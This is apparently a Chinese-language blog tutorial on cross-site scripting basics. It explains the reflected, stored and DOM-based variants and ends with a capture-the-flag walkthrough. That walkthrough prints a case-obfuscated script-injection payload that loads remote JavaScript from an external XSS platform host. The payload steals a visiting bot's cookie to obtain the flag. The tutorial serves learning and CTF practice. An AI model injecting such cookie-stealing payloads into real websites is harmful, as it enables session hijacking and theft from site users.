XSS漏洞基础学习

发布于 2023-07-12  327 次阅读


——From tyhty

XSS:跨站脚本攻击

攻击原理:

1、攻击者会在web页面中插入一些恶意的脚本代码(通常是HTML代码和JS脚本)。当用户浏览该页面的时候,那么嵌套在该页面的代码就会执行,因此会达到攻击用户的目的
基本的xss漏洞代码
<script>alert('xss')</script>
<img src='./smile.jpg' onmouseover='alert(/xss/)’>
<input type="text" onclick="alert(/xss/)"> 
 
2、用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了
 
3、攻击对象:   对象大多为用户,网站管理员。
             攻击点一般是网站url还有微博,网页留言板,聊天室等收集用户输入的地方。

XSS类型:

  • 反射型:又称为非持久型,这种类型的脚本是最常见的,也是泛用性最广的一种,主要是用于将恶意的脚本附加到URL地址的参数上。

数据流量:浏览器——>后端——>浏览器。

流程:客户端注入恶意的XSS漏洞代码,并发送请求到服务端,后端解析并返回带有XSS漏洞攻击的页面到浏览器上。

  • 存储型:持久性,代码时存储在Web服务器中的,比如在个人信息或发表文章等地方插入代码,如果没有过滤或者过滤不严,那么代码将储存在服务器中,用户访问该页面的时候触发代码执行,这种XSS比较危险,容易造成蠕虫、盗窃cookie。每个访问特定页面的用户,都会受到攻击。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

流程:客户端(浏览器)通过发送博客或者留言评论输入恶意的XSS漏洞代码,浏览器将请求发送请求到服务端,服务端将这段代码保存到数据库中,当用户访问这个页面时,数据库中保存的代码会被后端进行解析,并且发送到客户端的浏览器上,实现攻击。

  • DOM型

DOM是一个树状的模型,js可以对树中的文档对象进行修改,而改变页面的元素,dom型xss就是通过函数获取到输入的值,然后拼接到代码中,如果包含恶意代码,则当js代码执行去改变页面元素的时候会导致恶意代码被执行,从而发生xss。

和反射型xss及存储型xss不同的是,DOM型xss不经过服务端,只在前端执行
(前面说过放射型xss需要把数据发送到后端解析,在回到浏览器显示出来)。

数据流量:URL—>浏览器。

攻击手法:

首先我们进入页面可以看到,存在两个输入框。我们查看源代码查看注入点。

看到存在输入框,我们尝试输入js代码,发现可以执行,那么服务器不存在相应的过滤,因此该处即为我们的注入点。

那么就会产生疑问,我们找到了注入点如何进行攻击并获取到flag呢?

首先,我们登录一个XSS平台,创建项目,之后点击配置源文件,我们可以看到相应的平台提供的XSS漏洞检测语句。

我们可以查看这行代码:

</tExtArEa>'"><sCRiPt sRC=//xss.yt/naQJ></sCrIpT>

他是一句JS代码,其作用是让其执行http://xss.yt/naQJ文件的代码。

接着我们查看该链接下的代码。可以看到全是各种注入的JS代码。

接着我们构造URL并提交给服务器。我们在上面一个框中进行提交时发现是name字段。因此我们构造name=</tExtArEa>'"><sCRiPt sRC=//xss.yt/naQJ></sCrIpT>。

之后我们回到XSS平台项目中查看收到的内容。我们可以发现接收到机器人点击之后,收到的cookie就是我们所需要的flag。

至此,该题完成。


一花一世界,一叶一菩提。